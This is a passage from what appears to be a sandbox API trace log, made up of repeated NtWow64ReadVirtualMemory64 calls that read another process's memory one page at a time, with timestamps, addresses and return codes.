NumberOfBytesRead=0x1000) returned 0x0 [0136.219] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0810000, Buffer=0x7fff, BufferSize=0x2560000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.220] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0811000, Buffer=0x7fff, BufferSize=0x2561000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.220] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0812000, Buffer=0x7fff, BufferSize=0x2562000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.220] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0813000, Buffer=0x7fff, BufferSize=0x2563000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.220] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0814000, Buffer=0x7fff, BufferSize=0x2564000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.220] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0815000, Buffer=0x7fff, BufferSize=0x2565000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.221] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0816000, Buffer=0x7fff, BufferSize=0x2566000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.221] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0817000, Buffer=0x7fff, BufferSize=0x2567000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.221] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0818000, Buffer=0x7fff, BufferSize=0x2568000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.221] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0819000, Buffer=0x7fff, BufferSize=0x2569000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.221] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081a000, Buffer=0x7fff, BufferSize=0x256a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.221] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081b000, Buffer=0x7fff, BufferSize=0x256b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.222] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081c000, Buffer=0x7fff, BufferSize=0x256c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.222] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081d000, Buffer=0x7fff, BufferSize=0x256d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.222] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081e000, Buffer=0x7fff, BufferSize=0x256e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.222] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081f000, Buffer=0x7fff, BufferSize=0x256f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.222] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0820000, Buffer=0x7fff, BufferSize=0x2570000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.223] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0821000, Buffer=0x7fff, BufferSize=0x2571000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.223] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0822000, Buffer=0x7fff, BufferSize=0x2572000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.223] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0823000, Buffer=0x7fff, BufferSize=0x2573000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.223] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0824000, Buffer=0x7fff, BufferSize=0x2574000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.223] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0825000, Buffer=0x7fff, BufferSize=0x2575000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.223] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0826000, Buffer=0x7fff, BufferSize=0x2576000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.224] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0827000, Buffer=0x7fff, BufferSize=0x2577000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.224] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0828000, Buffer=0x7fff, BufferSize=0x2578000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.224] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0829000, Buffer=0x7fff, BufferSize=0x2579000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.224] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082a000, Buffer=0x7fff, BufferSize=0x257a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.224] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082b000, Buffer=0x7fff, BufferSize=0x257b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.225] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082c000, Buffer=0x7fff, BufferSize=0x257c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.225] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082d000, Buffer=0x7fff, BufferSize=0x257d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.225] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082e000, Buffer=0x7fff, BufferSize=0x257e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.225] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082f000, Buffer=0x7fff, BufferSize=0x257f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.225] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0830000, Buffer=0x7fff, BufferSize=0x2580000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.225] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0831000, Buffer=0x7fff, BufferSize=0x2581000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.226] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0832000, Buffer=0x7fff, BufferSize=0x2582000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.595] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0833000, Buffer=0x7fff, BufferSize=0x2583000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.595] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0834000, Buffer=0x7fff, BufferSize=0x2584000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.595] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0835000, Buffer=0x7fff, BufferSize=0x2585000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.596] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0836000, Buffer=0x7fff, BufferSize=0x2586000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.596] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0837000, Buffer=0x7fff, BufferSize=0x2587000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.596] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0838000, Buffer=0x7fff, BufferSize=0x2588000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.596] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0839000, Buffer=0x7fff, BufferSize=0x2589000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.596] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083a000, Buffer=0x7fff, BufferSize=0x258a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.596] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083b000, Buffer=0x7fff, BufferSize=0x258b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.597] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083c000, Buffer=0x7fff, BufferSize=0x258c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.597] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083d000, Buffer=0x7fff, BufferSize=0x258d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.597] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083e000, Buffer=0x7fff, BufferSize=0x258e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.597] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083f000, Buffer=0x7fff, BufferSize=0x258f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.597] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0840000, Buffer=0x7fff, BufferSize=0x2590000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.598] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0841000, Buffer=0x7fff, BufferSize=0x2591000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.598] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0842000, Buffer=0x7fff, BufferSize=0x2592000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.598] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0843000, Buffer=0x7fff, BufferSize=0x2593000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.598] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0844000, Buffer=0x7fff, BufferSize=0x2594000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.598] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0845000, Buffer=0x7fff, BufferSize=0x2595000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.598] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0846000, Buffer=0x7fff, BufferSize=0x2596000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.599] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0847000, Buffer=0x7fff, BufferSize=0x2597000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.599] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0848000, Buffer=0x7fff, BufferSize=0x2598000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.599] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0849000, Buffer=0x7fff, BufferSize=0x2599000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.599] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084a000, Buffer=0x7fff, BufferSize=0x259a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.599] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084b000, Buffer=0x7fff, BufferSize=0x259b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.600] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084c000, Buffer=0x7fff, BufferSize=0x259c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.600] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084d000, Buffer=0x7fff, BufferSize=0x259d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.600] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084e000, Buffer=0x7fff, BufferSize=0x259e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.600] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084f000, Buffer=0x7fff, BufferSize=0x259f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.600] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0850000, Buffer=0x7fff, BufferSize=0x25a0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.600] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0851000, Buffer=0x7fff, BufferSize=0x25a1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.601] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0852000, Buffer=0x7fff, BufferSize=0x25a2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.601] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0853000, Buffer=0x7fff, BufferSize=0x25a3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.602] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0854000, Buffer=0x7fff, BufferSize=0x25a4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.602] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0855000, Buffer=0x7fff, BufferSize=0x25a5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.602] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0856000, Buffer=0x7fff, BufferSize=0x25a6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.602] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0857000, Buffer=0x7fff, BufferSize=0x25a7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.602] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0858000, Buffer=0x7fff, BufferSize=0x25a8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.603] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0859000, Buffer=0x7fff, BufferSize=0x25a9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.603] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085a000, Buffer=0x7fff, BufferSize=0x25aa000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.603] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085b000, Buffer=0x7fff, BufferSize=0x25ab000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.603] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085c000, Buffer=0x7fff, BufferSize=0x25ac000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.603] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085d000, Buffer=0x7fff, BufferSize=0x25ad000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.603] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085e000, Buffer=0x7fff, BufferSize=0x25ae000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.604] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085f000, Buffer=0x7fff, BufferSize=0x25af000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.604] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0860000, Buffer=0x7fff, BufferSize=0x25b0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.604] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0861000, Buffer=0x7fff, BufferSize=0x25b1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.604] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0862000, Buffer=0x7fff, BufferSize=0x25b2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.604] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0863000, Buffer=0x7fff, BufferSize=0x25b3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.605] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0864000, Buffer=0x7fff, BufferSize=0x25b4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.605] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0865000, Buffer=0x7fff, BufferSize=0x25b5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.605] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0866000, Buffer=0x7fff, BufferSize=0x25b6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.605] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0867000, Buffer=0x7fff, BufferSize=0x25b7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.605] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0868000, Buffer=0x7fff, BufferSize=0x25b8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.606] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0869000, Buffer=0x7fff, BufferSize=0x25b9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.606] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086a000, Buffer=0x7fff, BufferSize=0x25ba000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.606] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086b000, Buffer=0x7fff, BufferSize=0x25bb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.606] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086c000, Buffer=0x7fff, BufferSize=0x25bc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.606] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086d000, Buffer=0x7fff, BufferSize=0x25bd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.606] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086e000, Buffer=0x7fff, BufferSize=0x25be000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.607] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086f000, Buffer=0x7fff, BufferSize=0x25bf000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.607] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0870000, Buffer=0x7fff, BufferSize=0x25c0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.607] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0871000, Buffer=0x7fff, BufferSize=0x25c1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.607] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0872000, Buffer=0x7fff, BufferSize=0x25c2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.607] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0873000, Buffer=0x7fff, BufferSize=0x25c3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.608] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0874000, Buffer=0x7fff, BufferSize=0x25c4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.608] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0875000, Buffer=0x7fff, BufferSize=0x25c5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.608] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0876000, Buffer=0x7fff, BufferSize=0x25c6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.608] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0877000, Buffer=0x7fff, BufferSize=0x25c7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.608] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0878000, Buffer=0x7fff, BufferSize=0x25c8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.609] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0879000, Buffer=0x7fff, BufferSize=0x25c9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.609] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087a000, Buffer=0x7fff, BufferSize=0x25ca000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.609] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087b000, Buffer=0x7fff, BufferSize=0x25cb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.609] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087c000, Buffer=0x7fff, BufferSize=0x25cc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.609] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087d000, Buffer=0x7fff, BufferSize=0x25cd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.609] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087e000, Buffer=0x7fff, BufferSize=0x25ce000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.610] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087f000, Buffer=0x7fff, BufferSize=0x25cf000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.610] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0880000, Buffer=0x7fff, BufferSize=0x25d0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.610] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0881000, Buffer=0x7fff, BufferSize=0x25d1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.610] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0882000, Buffer=0x7fff, BufferSize=0x25d2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.610] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0883000, Buffer=0x7fff, BufferSize=0x25d3000, NumberOfBytesRead=0x1000 